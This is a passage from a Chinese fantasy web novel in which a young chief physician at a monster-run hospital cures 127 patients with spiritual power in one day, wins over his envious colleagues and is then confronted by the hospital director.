简直是魔鬼一样的执行力。 更重要的是,谢叙白竟然在还没正式入职前,就已经在考虑怎么给病人们谋取公益福利? 吕向财心中的震惊和疑惑犹如翻涌的海浪,搅得脑子乱成一团。 此时此刻,再听青年那些轻描淡写的话语,仿佛能从中捕捉到一丝不可动摇的决心。 他蓦地反应过来。 谢叙白何止想要创造法治的【规则】? 由始至终,青年就奔着建立一个所有人都不敢想象的美好愿景! 病患是A级,极佳的听力甚至能让她听见吕向财通电话的声音。 两人的谈话内容,她听不懂。 但她从吕向财犹疑的声线,能隐约明白办这事的难度很大,愈发忐忑不安。 粗糙黝黑的手指无意识地勾拽在一起,拘束地并起脚尖。 谢叙白对人安抚地笑一笑,释放精神力让她放松。 他听着吕向财愈发急促的呼吸,温和有力的声线一并传至病患的耳朵里:“不用担心。” “这次一定可行。” 很快,许氏爱心公益协会的员工接到老板通知,风风火火地赶到医院门口,对病患的困难情况进行核查。 如果核查结果属实,他们会协助病患填写申请书,最迟十五个工作日内就能发放补助金。 病患的公公婆婆接到医院的通知,也带着孙女儿拼命赶过来,那是个扎着双马尾的可爱小女孩。 当小女孩哭囔着扑到怀中的那一刻,病患僵硬冰冷的手脚重新染上温度,再次憋不住哭腔,双眼湿润地将孩子抱紧。 “对不起,囡囡,对不起……” ——差一点,她就真的放弃了。 末了,病患双眼通红地拉着女儿,和公公婆婆一同回头,朝谢叙白所在的位置深深地鞠了一躬。 彼时谢叙白已经治疗到第五位病人。 和病情恶化的A级重症比起来,其他级别的病人都显得没那么棘手。 “下一位。” 患病的少年坐在谢叙白的面前,脑袋埋下去,声音细弱蚊蝇:“谢医生,我,我的嘴巴很痛,变得很奇怪,张不开……是的,初一那年演讲,同学们说我,声音像鸭子一样难听,从那之后,我就没怎么说过话。” 谢叙白叫少年抬头。 少年迟疑地抬起脑袋,眼珠子不安地飘动,不敢和他对上眼。 那张稚嫩的面容被污染异化,嘴唇像鸭子嘴一样干扁拉长,又被白线紧紧地缝合在一起。 稍微张开一点,就痛得少年直抽气,更加难堪地垂下头。 “没事,没事,不用难过,更不需要不好意思。毕竟你来这里就是为了治疗它,我坐在这里也是为了它。” 谢叙白戴上白手套,轻触他嘴上的缝合线,仔细检查:“今年你是不是都初三了?初一到初三足足两年,这么长的时间,一定过得很辛苦吧。” 他通过精神共振,感受着少年的难过,仿佛喉咙里压着刀片,每说一个字都痛得喉管颤抖。 “是不是爸妈亲戚他们不理解你,说你只是被人笑几句就受不了,太脆弱,太玻璃心,是被惯出来的毛病。” “他们曾经用各种手段逼你大声讲话,把你推到大庭广众之下,如果不开口,就一巴掌……” 谢叙白突然一顿。 他出神地凝视着少年的脸颊,仿佛能看到当年映在上面的巴掌印,肿得老高,略显狰狞。 谢叙白叹出一口气,金色精神力顺势伸过去,笼罩在少年的脸颊上,借此化解经年残留在上面的痛楚和阴影。 他柔声宽慰:“当时一定很痛吧?脸痛,心更痛。那可是大白天啊,还是人流量最大的商业街路口,那么多路人眼睁睁地看着你被打,被骂……你爸妈,他们怎么狠得下这个心?” 少年几不可闻地嗯了一声,哪怕极力压抑自己,眼睛也忍不住愈发湿润。 “乖,是他们做错了,错得很离谱。” 这是少年从未听到过的言论。 一直以来,所有人都说是他的错,是他不孝顺,是他辜负了父母的教导和期望。 父母是压在头顶的天,什么都给了他,又怎么会错? 谢叙白没有错过少年起伏不定的胸口,脱下手套,揉揉他的脑袋:“先说演讲那事,那怎么能算脆弱?” “你站在台上,几千双眼睛直勾勾地看着你,只要念错一个字音底下就会传出骚动和嘲笑。即使是上战场,混战中能盯着你的最多也只有几十号人,类比起来怎么会不可怕?” “就算成年人也扛不住被几千个人笑话,比如我,恐怕听到第一道笑声的时候就头也不回地往下跑了!所以你感到害怕焦虑和尴尬,又有什么问题?又有谁可以责怪?” 少年的脑袋再次往上抬高了一点:“医生,难道你不觉得我很懦弱吗?我两年都不敢再大声说话,爸妈都觉得我很……” “当然不。” 精神力变成细长的手术剪,细致地剪开缝住少年嘴唇的线头,再用镊子慢慢抽出,没有让对方感觉到一丝疼痛。 谢叙白对上少年瑟缩的目光,平静自然地笑道:“你很勇敢,一点都不懦弱。要知道你敢鼓起勇气上台说话,而那些人却只敢坐在台下笑,只凭这一点就要强过他们许多倍。” “你甚至没有跑,还能忍住念完全部的稿子,多么了不起。” 最后一根缝合线被谢叙白的精神力抽走。 少年忽然感觉到嘴上的松快,试探性地张开嘴,再一点点地张大。 “让我们试着重回初一那年,把这里当成演讲台。”谢叙白问,“你还能回想起当初的那股勇气吗?跟我一起喊,啊——” 少年当即被谢叙白高昂的喊声吓了一跳,慌张地朝观察窗口看过去,却被青年按住脑袋,只能看见那张充满鼓励的笑脸。 谢叙白拍拍他脑袋,让他专心一点:“试着叫一声,多大声音都可以。放心,这里完全隔音,外面的人什么都听不见。” “这里没有人是你的监视者,没有人会笑话你。” 许是从来没有过的轻松作祟,许是年轻医生的眼神满是“你能做到”的信赖。 少年蠕动嘴唇,迟疑地试着叫了一声,出口是难听的鸭子叫:“嘎……” 他立马闭上嘴,脸上写满绝望,却又听到谢叙白毫无顾忌地大喊一声:“啊——!” 那声音响彻室内,直接盖过少年的叫声,击碎他的尴尬。 少年默了默,眼一闭心一横,气血上涌,再次大喊:“嘎……啊……!” 他叫得一声比一声大,嘴巴张得越来越开,像压抑已久的人突然得到宣泄的机会,恨不得把这两年的郁气全部吼出来。 终于在某个时刻,少年感觉束缚嘴唇的压力猝然消失,随着轻拍在肩膀的力道而睁眼。 他看见谢叙白笑着拿出一面镜子,不掩欣慰和夸赞:“看。” 少年盯着镜子里的自己,嘴上没有缝合线,也不再是丑陋的鸭子嘴,脸上的怔愣逐渐转变为滔天的惊喜。 长久的缄默不语让少年语速不畅,于是那满腔激动和喜悦全都饱含在随后的几个字里,声声皆是感激:“谢,谢谢医生!” 【个人通知:恭喜谢主任成功治愈B级中症患者一名,加10点考核分!由于考核分已满,该分值将按照1:1等效记为绩效分!】 【提醒:该期绩效分最高的三名医生将评选第一医院“医疗名家”奖,该奖项为表彰在医疗技术和服务方面做出杰出贡献的医生,获奖者可得到双倍年终奖,及调用各科室实习生的特权。】 【如果能评选更多奖项,也将解锁更多的医院内部特权,各位医生加油。】 谢叙白的视线从通知上掠过,按下广播键,叫下一位病人。 此刻的观察窗口前挤满了人。 几名主任已经离开,哪怕他们心情复杂且难捱,很想留下来看谢叙白最后能做到什么地步,另一边堆积如山的工作和病人也等不起。 怪物专区的医疗工作和人类专区完全不同,人力资源部的周主任是里面活儿最轻的一个。 可他也没有留下来,问就是没脸见人。 在他们离开后,谢叙白诊室门口的人却越来越多。 一部分是病人。 他们原本留在自己的病房里等待叫号,以为要痛苦地熬上好几天,谁想到号过得这么快。 眼见要不了多久就能叫到自己,这些病人干脆跑到现场等待。 走廊广播里的叫号声不曾停歇,他们无比庆幸自己临时更换主治医师,并满目渴望。 另一些人是被抢走病人的实习生和主治医生。 他们死死地盯着谢叙白在里面旁若无人地治病,恨得后槽牙都要咬碎了。 别说他们很闲,愣在这里没事干——病人都跑去挂谢叙白的号,他们除了干瞪眼还能干什么?可不就是没事干么。 其实抢病人的事情以前不是没有发生过,不然院长傅倧初诊当天的30多位病人,总不能是从天上掉下来的。 只是这事,他们以前当笑话听,轮到自己时才知道真不是个滋味。 更让他们受打击的事情还在后头。 谢叙白看病完全没有敷衍,每一位病人他都会认真进行精神共振,建立链接,倾听他们的诉苦。 可是这一套流程走下来,时间竟然没有耗费多少。 平均八分钟不到,就有一位病人从病房里轻快地走出,原本灰暗苍白的脸重新焕发出光彩。 换成其他医生,光是让病人放宽心接受自己、感受精神共振这一步,就要花费二十多分钟! “妈的,他简直像个怪物!这都一口气治疗到第七个了,他甚至连口水都没喝过,难道不觉得累?” “我就不懂他开放无限制收治是什么意思,真就眼大肚皮小,不怕到最后撑死自己呗?” 第一医院的医生收治病人其实有非常严格的限制,为避免医生经验不足误诊误治,凡实习生只能治疗D级病患,医师能治疗C级及以下。 往上依次类推,只有主任医师可以自定义收治病患的级别。 如果开放无限制,全医院当天还没挂上号的病人,都会一股脑地排上收治名单。 哪怕是已经挂号的病人,也会接到特别通知,提醒他们有新的高级医生正在坐诊,且名下有空号。 试问来医院的,谁不想早点治病恢复健康?横竖都是要等,不如找个看起来更厉害的主任挂号排队。 这就是实力至上的第一医院。 只要有机遇,有实力,资源就会毫无保留地倾斜。 所以人人都觊觎主任医师的位置,人人都费力地想要往上冲,并不可避免地嫉妒那些身处高位的人。 看到谢叙白治疗的病人越来越多,这些医师心里甚至冒出一个略显恶毒的念头。 再强大的人都有极限,他们不相信谢叙白可以这样永无止境地治疗下去,肯定会有力有不逮。 到那时候,他们就—— ……好像也不能拿谢叙白怎么样。 无论如何,那可是主任医师。 就算他们不在谢叙白的名下,对方也是他们的上级领导。 各科主任相互使绊子,那叫针锋相对,龙争虎斗。 他们去挤兑人显摆自己,那叫自寻死路,飞蛾扑火。 而且还有一件事。 一件让他们羞于启齿,却不得不低头承认的事。 不知不觉,医生们的讨论声恍惚起来,脆弱的心肝接连遭受暴击,开始怀疑人生。 “……这是第几个了?有人数过没有?” “没数,但我感觉起码有20多个。” “准确来说是27。” “院长当年也就32个吧?” 话音落下,一股窘迫难堪的气氛弥漫在众位医师之间。 如果说数字无法让直观感受到谢叙白的实力,那么看见大多数病人翘首以盼地朝诊室内张望,几乎形成一堵人墙,带来的冲击力几乎让他们心碎。 眼下他们的心态已经变了。 从对走后门的谢叙白不以为意,抱着看笑话的心态来围观; 到自己变成被抢光病人的小丑,满腔愤恨; 再到在极度的不甘心中,发现新主任的实力异常强大,认清笑话竟是他们自己的难堪和羞愤。 他们终于无话可说。 “新主任确实很强。” “这话说的,能坐上那个位置的人哪个不强?” “不一样啊,就算院长来了,恐怕也做不到10分钟以内治疗A级重症。” “你什么意思,该不会想说谢主任比院长还强吧?吃生菌了吧你?” “可是谢主任真有种望不见底的强,你们看,他已经治疗到第30个病人了……足足30个啊!” “呸!院长当年要是能开启无限制收治,肯定比他还多。” “但按照谢主任现在的势头,说不定能赶超院长当前最高记录。” “你在开什么玩笑?院长什么级别他什么级别?你觉得他能一天收治154个病人?” 谁都觉得谢叙白做不到那种程度。 作为主任医师,坐诊一天下来,能收治80个病人算他厉害,收90个算他逆天。 当病患源源不断地进入谢叙白的就诊室,看见播报显示屏上的号数从50过到60,又从60过到70的时候,所有人都不由自主地屏住呼吸。 所以说人就是有那么奇怪。 当看到谢叙白赶上他们的时候,他们紧张恼怒。 当谢叙白跑到前面的时候,他们怨怼不甘,乃至于想骂娘。 当谢叙白轻轻松松地提速,将他们远远地甩在后方,所有的负面情绪瞬间消失,变成一种自暴自弃的平和。 不再想着把谢叙白拉下马,因为所站的高度不同,对方已经成为他们拍马也无法企及的存在。 以至于不敢置信的同时,偏就忍不住生出一丝丝即将见证奇迹的期冀。 却没想到,就在号数过到第87号时,它忽然停了下来。 众人定睛一看,原来是谢叙白挂上了暂停问诊的告示。 好家伙!他终于知道累了吗? 吃瓜心理的医师们只觉得悬在嗓子眼的心脏忽然重重地摔回原位,有种如释重负的轻松,又有点无法言喻的遗憾。 “我的老天爷,这位超人可算停下来了。” “是啊,我还以为他能这样问诊一整天,好在还是正常范围。” “87,很不错了,李主任的最高记录好像也就95?” 热闹终于结束,众人有种看过大战的酣畅淋漓,不知道该不该散场。 索性谢叙白还没有出来,他们干脆在这里继续等。 他们承认自己很势利。 见谢叙白这么厉害,他们心服口服,五体投地,等着人出来,看看有没有结交或混个脸熟的机会。 可谁想到,几分钟之后,暂停问诊的告示突然被撤下。 众人愣了几秒才反应过来,目瞪口呆地注视着问诊室内的谢叙白,惊得下巴快要落地。 “谢主任竟然又开始了问诊?” “他真的不是人,卧槽!”《 》 60-65 第61章 正式立威 晚上十点半,窗外夜色降临,黑幕笼罩大地。 第一医院的内部仍然灯火通明。 李主任帮最后一名病人控制住思维污染,结束今天的工作,终于有功夫理会频频响起提示音的手机。 他疲惫地揉捏酸胀的眉心,先看有没有遗漏的电话。 因为经常忙得脚不沾地,顾不上回消息,所以一有要紧事,几乎都是用电话通知。 幸运的是没有。 但这消息的数量属实有点多,至少上百条。 李主任还以为自己又不小心打开了群聊通知,结果定睛一看,给他发消息的居然是那几个老家伙。 比如人力部的周主任,对着谢叙白劈头盖脸一顿骂,愤世嫉俗的心思几乎从字里行间中溅出来。 周主任:【你看那小子的资历栏没有?小半天时间怎么可能成功治愈40多个病人,他保准没给人认真治疗!】 周主任:【等那些病人回去后病情复发,跑过来找茬,看他到时候怎么办。】 周主任:【等我这边的事情忙完后必须得过去好好说一说他,他这么敷衍了事,最后还不是在败坏我们第一医院的名声?】 然后就没有然后了。 周主任的消息在这里戛然而止,像哑火的炮仗。 李主任心知对方是个得理不饶人的主,只有一种情况会憋住不开腔,那就是自觉丢脸丢分的时候。 如果他没记错,周主任的最高收治记录好像也是40多个? 这么气急败坏,估摸着是看见自己被年轻的新主任赶超,心里妒忌不舒服。 李主任摇了摇头,边收拾东西,边继续往下翻。 下一人是章主任,最高收治记录62,说话也带着那么点直耿耿的火药味。 章主任:【你说这新主任到底怎么回事,想给我们这些老家伙一个下马威?年轻人不知天高地厚,我倒要看看他最后能够收治多少人。】 章主任:【嚯,50个了,还算有点本事。】 章主任:【58个……不是,这都下午几点了,他还要继续治?】 毫无征兆的,也没了信儿。 如果说周主任的破防,只会让李主任无奈置之,那么章主任的陡然沉默,就宛如在他的心头敲下一锤不祥的重击。 他飞快看了眼最后一条消息的显示时间。 谢叙白收治到58人的时候,居然才下午四点半? 李主任惊诧至极,气息不稳,手指按在屏幕上,飞快地往上划消息。 记录64的曹主任,记录71的陈主任,记录72的年主任……一个个乐颠颠地跑去凑热闹,到最后竟然全都陷入死一般的沉默! 他不知道下级们观看全程,受到的冲击更大,只是谁敢来报消息说谢叙白的好,那不妥妥戳主任他们的肺管子么。 此时李主任的心脏跟九转十八弯的过山车没什么两样,迫切想要知道谢叙白那边的消息,忙不迭点开群聊。 巧的是,几个老家伙不知道是自暴自弃还是看破红尘,正以谢叙白为话题中心,聊得热火朝天。 页面下方显示【有人@你】的提示,李主任不小心点了下。 消息栏唰的一下往前翻,直接跳跃到晚上近八点。 章主任:【我在他诊室外面还没走,老周也在。现在治到第96个,看他似乎完全不准备停。】 章主任:【@老李(抱拳)你也看开点,现在是年轻人的天下,江山代有才人出,没什么好难受的。】 曹主任:【@老李(抱拳)】 陈主任:【@老李(抱拳)】 年主任:【@老李(抱拳)】 …… 怎么看都有股子“我们难受你也别想逃”的幸灾乐祸。 李主任简直想吐血。 别说什么看开,他现在死死地盯着“96”这个数字,心里一点实感都没有,荒谬得像是日了动物园。 要知道从看见谢叙白治好病患的那一刻起,他的内心就在疯狂震颤。 看病有流程,先检测病情,再对症下药,而后进行污染切割手术,拔除病灶。 最后一步尤其重要,不能马虎大意。 是以一个重症从控制到痊愈,说要耗费半年时间都不为过。 而医院统计的最高当天收治记录,实际应该叫做“接手记录”,但凡被诊断出病因的病人,都能被算在其中。 院长也是这样,才能创造出154的辉煌战果。 不然154个病人,就算不吃不喝从头治到尾,每人只耗费20分钟,那也要整整50多小时!直接超出两天有余。 但谢叙白不一样。 他不仅一个照面就诊断出患者的病因,还能在十分钟内完全控制病情。 看其他主任的聊天记录,对方之后似乎也是这么个治疗法? 李主任心里惊魂未定。 他急不可耐地来到谢叙白的诊室外,看见一大堆围观群众,那些人两只眼睛直勾勾地往里瞅,就差没黏在观察窗口上。 现在是下班时间,大家都有空闲。一些人慕名而来,一些人则是只想看一眼就走。 谁知道看完之后直接走不动道。 谢叙白的情况,只能用四个字来形容。 太!离!谱!了! 别说李主任,就是那些迟钝的主治医师都已经察觉出不对劲儿。 哪有医生见一个就治一个?还这么有效率,猛得像个在世医仙! 若非【规则】要求对治疗过程保密,恐怕现在一个个都已经迫不及待拿出手机拍照录像,不出三天时间,谢余之名就能荣登各大医疗板块热闻榜首。 又一位病人红光满面地起身,激动得握住谢叙白的手,语无伦次地道谢:“谢谢医生!我感觉好多了,从来没有这么轻松过!” 看着就诊屏幕上的号数从“112”跳到“113”,有医生嚅嗫嘴唇,不真实地喃喃道:“我滴个亲娘嘞,这得供起来吧?” “说起来他休息过没有?” “中途去过一次厕所,喝过两杯水。” “没吃饭?” “好像没有……” “我以为平时科室里的那些人已经够卷了,没想到一山还有一山高,这才是行走的卷王!太拼命了,他图什么?” “难道是图院长的最高记录?” 众人面面相觑,感觉这话似乎触及到了真相。 可是老资历们心里门儿清,如果从实际效果去比较,谢叙白早已把医院里的所有人都遥遥甩在了身后。 他们不约而同地凝视着诊室内那道瘦削颀长的身影。 无论诊室外来了多少人,投下多少质疑的目光,青年的注意力由始至终都专注在病人的身上,专注认真,不曾偏移。 无数围观者由此内心翻江倒海、天摇地动,久久不能平息。 ……明明视角从上往下,青年才是坐在下面的人。 却让他们感觉自己在高抬脑袋,仰望着一座巍峨雄踞的高山。 当谢叙白治疗完第127名病人后,他忽然停了下来,没有继续叫号。 太阳穴上青筋暴跳,胀痛无比。 视觉有轻微程度的昏花模糊,精神力更是被榨干到濒临枯竭。 身体各处的不适感都很强烈,几乎感受不到饥饿。 谢叙白知道自己已经抵达极限,再这样继续治疗下去,不管是对病人,还是对他,都极其不负责任。 想到这里,他的视线移至“127”的号数上,紧皱的眉头倏然一松。 127位患者中总计有33人符合贫困标准,得到许氏公益协会的救助。 没有什么比看见那些愁苦灰暗的脸重新绽放希望,更能让谢叙白喜出望外。 乃至于一整天都想着“再救一个,还能救一个”,让他忽略了时间,饭也没顾得上吃。 谢叙白忽然抬头。 所有人的视线都随他的动作,集中在他的身上。 崇敬、钦佩、难以置信。 无数目光宛如盛大耀眼的聚光灯,映照在他的身体上。 这一刻,人群中再也瞧不见一个轻视鄙夷的眼神,再也没人敢质疑他的实力。 正当这时,激昂的广播声忽然在所有人头顶炸响:“午夜将至!午夜将至!” “请除了患者、防卫科和值班医护以外的其他人在1小时内离开医院,路上注意安全,务必避开‘人群’!” 在场众人登时打了个激灵,慌乱看时间。 “什么?这就快十二点了??” “糟糕糟糕要完要完,我家那口子今天肯定得骂死我!” “还说呢,快走吧,万一等会儿没来得及离开医院,麻烦可就大了。” 谢叙白听到广播后没有耽搁,干脆麻利地收拾东西。 等到离开诊室,他才发现还有很多人留在原地,等待他出来。 “谢老师,辛苦您了!”后辈们齐声开口,话里不掩尊敬,双眼直放光。 谢叙白想起第一医院的传统,前辈不走,后辈们就得留守,连忙摆摆手,让他们赶快回家。 他却不知道,这些后辈们是自愿留在这里的。 那是下午时发生的事。 某个后辈被挡在人群后方,看不见诊室内的情况,急得抓心挠肺,大着胆子向谢叙白请求开启“教学模式”。 谢叙白也在得到病人的同意后,允许开启“教学模式”。 治疗过程被实时录入,又转接到大厅的大荧幕进行直播,让许多实习生得以观瞻全部治疗过程,受益匪浅。 眼下,这些后辈们还有很多细节想请教,更想知道谢叙白愿不愿意带学生。 只是时间太晚,加上几名主任还留在旁边,似乎要和人交谈,他们只好依依不舍地离开。 随后谢叙白在人群中看到之前的带教老师和小刘。 两人视线回避,不敢接他的眼神,忐忑地道一声:“谢主任辛苦。” 谢叙白多看了他们一会儿。 就是这波澜不惊的凝视,足以让两人心惊胆战,屏住呼吸不敢大喘气。 忽然谢叙白一笑,打破紧张的气氛,伸出手道:“从今以后就是同事了,还请多多指教。” “不不不,什么指教不指教的,我们哪敢指教您,您……真的很强,不愧主任之职。”带教老师慌张地握住他的手,连声说道。 别说再和谢叙白耍阴招,他们甚至丧失了和人对视的勇气。 主任中有几人已经离开。 李主任没走,等到人群差不多散去,他对谢叙白提议道:“晚上的医院不太安宁,谢主任不如和我们一起走?” 谢叙白没有拒绝李主任的好意。 一方面是他已经力竭,如果遇到变故,应付起来会很吃力。 另一方面是广播里的示警,让人直觉不妙。 一群人离开大楼。 谢叙白二十多岁的年纪,混迹在四五十岁的老一辈医生团队里,看起来有些格格不入。 但让几名主任感到惊诧的是,就算已经闯出当日医治127名病人的不俗记录,谢叙白也没有表现得很高傲。 他口吻沉静,不卑不亢,面对长辈时温和有礼,谈吐得体,声音让人听着就很舒服。 几名老家伙交换视线,彻底心服口服,暗道真了不得。 和青年简单交谈过几句,连他们都忍不住有些放松。 曹主任热情地邀请:“谢主任今天来的时候没开车吧,要不一会儿坐我的车回去?” 另一名主任说:“老曹,顺便搭我一个!” “去去去,你家就在附近,几步就走到了,还蹭什么车。” 谢叙白听他们聊天,意外的和谐友善,微微一笑。 结果下一秒,一颗狰狞的碧眼蛇头猝然钻入他的视野,悠哉悠哉地悬在他的左手边,丝丝吐出湿冷红信。 谢叙白:“……” 他猝不及防,呼吸微滞。 那蛇头正连在某位主任的手腕上,该主任浑然不知自己的突然露相,惊得谢叙白浑身肌肉绷紧。 他拍拍蛇头,大大咧咧地笑起来:“它和我都吃饱了,不准备再加餐。” “反正你也要走那个方向,顺路捎一程还能累到你?大不了明天帮你一起治愈那名A级重症,绩效算你的身上。” “行行行。谢主任怎么说,要不要和我们一起?” 蛇头闻声看向谢叙白,似乎想要表示友好,嘴唇咧出一个大大的弧度。 尖锐的牙齿暴露在苍白月光下,顶端无意识渗出一点晶莹剔透的毒液,反射着让人发怵的冷光。 “……”谢叙白从容地移开视线,“不用了,我家狗子还在医院门口等着我,到时候我们一起回去。” “你们走回去?” “朋友帮忙叫了车。” “行,那就没问题。这医院周边‘人群’多,晚上的时候会成群出动,虽说没什么威胁力,但是血沾上衣服后不好洗,所以最好别走路。” 谢叙白状似惊异:“这样么?还好有您告诉我,看来以后都不能走路回去了。” 其他人不疑有他。 谢叙白顺势掐住指尖,快速且不留痕迹地平复了一下呼吸。 这一天大家都是人类的模样,行事风格也和人类没什么两样。 让他差点忘记吕向财早就叮嘱过他——第一医院早已沦陷为怪物的巢穴。 他不由得瞄向其他人,包括不远处一起下班的医护人员。其中有几名下级注意到他的视线,紧张得走出了机械步。 没人对主任的蛇头表示惊异,这习以为常的模样,也让谢叙白的心脏微紧。 只因他忽然反应过来,自己很有可能是整个怪物分区里唯一的人类。 这些同事吃人么?万一要吃怎么办?医院设有人类分区,目前好像没听说过人员失踪事件……他是不是应该捂紧自己的活人马甲? 谢叙白猜得没错,眼前的几位主任都没想过他会是个纯种人类。 毕竟人类一经觉醒就异化,谢叙白要是纯人类,又哪来的精神力? 他们也已经很久没和纯人类接触过了,看见人类都是能避就避,毕竟那种小东西实在太脆弱,一碰就碎,谁有那个闲心把人护到底? 说起来,谢叙白的精神力如此强大,他们一度非常好奇对方的本貌,出于礼貌没有探究,想着以后来日方长,总能看见。 其中一人瞄向身后不吭声的周主任,意有所指地扬声道:“还有老周,今天发生这种意外,你难道不该说点什么?” 周主任浑身一震,脸上带着肉眼可见的尴尬:“那事真不是我做的,我不都解释过了么。” “而且你们又不是不知道,收治A级重症前需要先和院长打报告申请。没有他的首肯,谁敢把那些棘手的患者放出来?” 几名主任突然没声,因为他们知道周主任说的是事实。 从医院后台系统中可以轻易查到是谁擅用权力,惩罚不说可怕,也能让一名主任多年的奋斗顷刻间化为乌有。 若非院长从中授意,谁敢冒这个风险? 李主任拿不定想法,看向谢叙白,试探性地问:“谢主任,院长是不是对你……”看不过眼? 话没说完,所有人脸色微变。 他们视线往前,看向医院门口,定格在面色森冷的中年男人身上。 那正是院长傅倧。 中年男人浑身萦绕着挥之不去的血腥味,细密的汗水挂在鬓角,气息不稳,眼神凶戾得好像刚从修罗场杀出来的一样。 李主任见傅倧直勾勾地盯向谢叙白,心头一紧,上前一步,乐呵呵地笑道:“院长啊,都这个时间点了,您怎么还没走?” 傅倧没看他一眼,冰冷的目光在谢叙白身上逡巡,正要开口之际,忽然见人动了。 青年的神色古井无波,目不斜视地走向他。 淡然的视线却在和他相撞的一瞬间飘然错开,像一缕抓不住的风。 随后,与他擦肩而过。 不将他放在眼里,不为他停留片刻。 刹那间,傅倧整个人僵成一座雕塑,高涨的情绪冲断名为理智的弦,终于忍不住沉声喝道:“小兔……你给我站住!吕向财的东西你还想不想要了?” 谢叙白脚步一停,余光往后瞄。 很好,上钩。 第62章 院长要不要坐我们的车?…… 傅倧的出现在谢叙白的意料之内。 只看围观群众的数量和反应,就知道他闹出来的阵仗不小。傅倧能感知第一医院发生的所有动静,不可能一点感觉都没有。 但对方现身的时间很不对劲,上午引起的骚动,直至广播发出宵禁警告才过来兴师问罪? 谢叙白没忘记今早一进医院就被叫到院长办公室,间接说明傅倧绝不是个疏忽大意的人。 所以是什么牵制住了对方? 傅倧见谢叙白虽然停了下来,却似乎隐忍厌烦,一直背对着他不吭声,当即眼色一暗。 因他刚才冲动喊出一声,亮红的警戒线立马如附骨之疽刺入视野,脑袋和耳朵阵痛不绝。 傅倧置若罔闻,没有情绪起伏地开口道:“我和谢主任有事要谈,你们先走。” 其他主任心思各异,不动声色地交换眼神。 傅倧是他们的顶头上司,而谢叙白只是相处一天的同事,孰轻孰重他们当然分得清。 不过,身为贡献卓越的老主任,同样也能在医院各科室扛起一片天……傅倧这样旁若无人地赶人,是不是有点不太把他们放在眼里? 李主任脸皮拉长。 头顶乌云遮盖月光,林荫道顿时被一片昏暗侵染。 老人浑浊深邃的眼珠子径直盯看着门口的中年男人,眼白的部分一点点变黑,像无光且深不见底的漩涡,能把人的灵魂都吸进去,让人头皮发麻。 李主任:“先别说其他事。我只想问问您,上午异化分区发生那么大的事故,所有医护人员胆战心惊,防卫科全体出动,闹得沸沸扬扬。” “可您身为院长,居然一点反应都没有,甚至一整个白天不见踪影,这像什么话?” 一边是朋党比周的主任医师,一边是大权独揽孤高自许的院长。 两方人龃龉已深,从来没有和谐融洽的时候。 在李主任质问声脱口的那一刻,气氛一秒变得剑拔弩张。 对方质疑合理,【规则】立即生效。 傅倧感受到的刺痛感倏然加剧,手背上暗紫色的青筋一瞬间绷紧暴起。 他扯眉瞥向李主任,慢条斯理地反唇相讥:“李老,别觉得我说话难听,你是不是该抽空配副眼镜?” “出事的时候我比你们更早赶到谢主任的诊室,几位老眼昏花看不见,难道还能怪我?” 李主任脸皮抽搐,怒目:“你什么——” 傅倧眉梢一挑,语速快得像连珠炮,硬生生截断他的话茬:“动怒容易伤肝脾,劝您少发脾气多喝水,来气的时候去运动,不要高血脂还没治好再来一个高血压。” “也不用担心上午的事故,我一定会彻查清楚,给所有人一个交代。” 说着,那道冷若寒霜的目光缓缓移至周主任的脸上。 周主任心里一咯噔,暗想院长这是什么意思,该不会也在怀疑他吧? 不对啊,难道不是院长想害谢主任,真的有人在背地里搞鬼?然后他的嫌疑最大? 周主任越想越心惊,后背不受控制地冒汗,双腿直打哆嗦。 傅倧移开视线:“最后一件事,下次遇到这种重大意外,第一时间通知我和防卫科,省得各位老胳膊老腿跑过去,累着身体不说,最后还得和谢主任的尸体一起唱凉凉。” 后半句话刺得众主任一哽,刹那间心头火起。 傅倧全然不给他们再开腔的机会,冷眼扫向谢叙白:“还在那愣着干什么?” 谢叙白转向各位主任,露出歉意的眼神。 几位主任权衡利弊后压下怒火,对他和蔼可亲地说道:“没关系,你去吧,院长不会拿你怎么样。” 听着这副同仇敌忾的语气,傅倧差点气笑,箭步走出医院大门。 没几秒钟,听到身后跟来的脚步声,方才脸色稍霁。 他侧过头,似笑非笑地对追过来的青年说:“你说我这个阶级敌人出来的时间是不是正正好?” 傅倧接手院长的时候,医院里拉帮结伙、排除异己的恶习已然成风。 好好一个救死扶伤的大医院,乱得像宫斗剧现场,各方势力盘根错节,派系林立犹如蛛网。 别看几个老家伙平时表现得慈眉善目,上一位主任被他们联手挤兑走的时候,那可是一点余地都没留。 以至于在竞争异常激烈的第一医院,特异科主任的席位竟然能一空好几个月。 谁都想要往上坐,又谁都不敢往上坐。 空降的谢叙白,宛如丢进死水潭里的一颗石子,打破了表面的平静。 原本该和上一任遭受同样惨烈的打击,谁想到谢叙白锋芒毕露,展现出强大的实力,强势镇住一众宵小。 好巧不巧又有他突然出面,刺激得那些老家伙直接把谢叙白归纳成自己人,准备联手对付自己这个“世界公敌”。 有那么一瞬间,傅倧很想祝福他们永结同心再创辉煌做大做强。 但他“高涵养”,忍住了。 谢叙白没有回答。 傅倧见他这么抗拒,心里也不知道是个什么滋味,干脆轻哼一声,撇过头不再说话。 直至冷不丁听到人在后面问:“你的伤是怎么回事?” 谢叙白刚才还有点不确定,如今仔细观察一遍,才发现果然不是自己的错觉。 傅倧受了很严重的伤。 上午谢叙白才见识过对方的自愈速度,玻璃渣扎进皮肉,眨眼间就能恢复如初。 如今血腥味不散,一看就不是普通的伤情。 试问在这所医院里,除了规则反噬,还有什么能威胁到位高权重的院长? 傅倧怪异的没吭声,安静地往前走,半晌才意味不明地道:“你的眼神比那几个老家伙好使,怎么看出来的?” “胳膊,脚步。”谢叙白回答道,“你的手臂有明显往外伸的趋向,手肘内部应该有伤,让你不敢贴在体侧。脚步一轻一重,伤在跟腱还是脚筋?” 傅倧猝然站定,回头看向谢叙白平静自若的脸。 ……不出预料。 那张脸上找不出一丝一毫的关心担忧,有的只是淡淡的探究。 于是傅倧扯唇,不咸不淡地说道:“全错。” 说完,他拉起自己的衣袖,让谢叙白看向手肘。 除却皮肤惨白得可怕,隐约能看见青紫色的血管,上面一丝伤口都没有。 傅倧轻嘲:“看来我得收回眼神好那句话。建议李主任配眼镜的时候你跟他一起去,没准店员看你们一家老小不容易,打折做活动再搭个买一送一。” 谢叙白瞄他一眼,毫无征兆地伸出手,在对方手肘内侧狠狠一按。 换作平时,傅倧连头发丝都不可能让人碰到。 但他今天伤势惨重,外加失血过多,竟然一时间没能躲开谢叙白的触碰。 骨节分明的手指在皮肤上一按,像破开某种障眼法,顿时按出好几个狰狞的血印子。 印在惨白的肤色上,分外触目心惊。 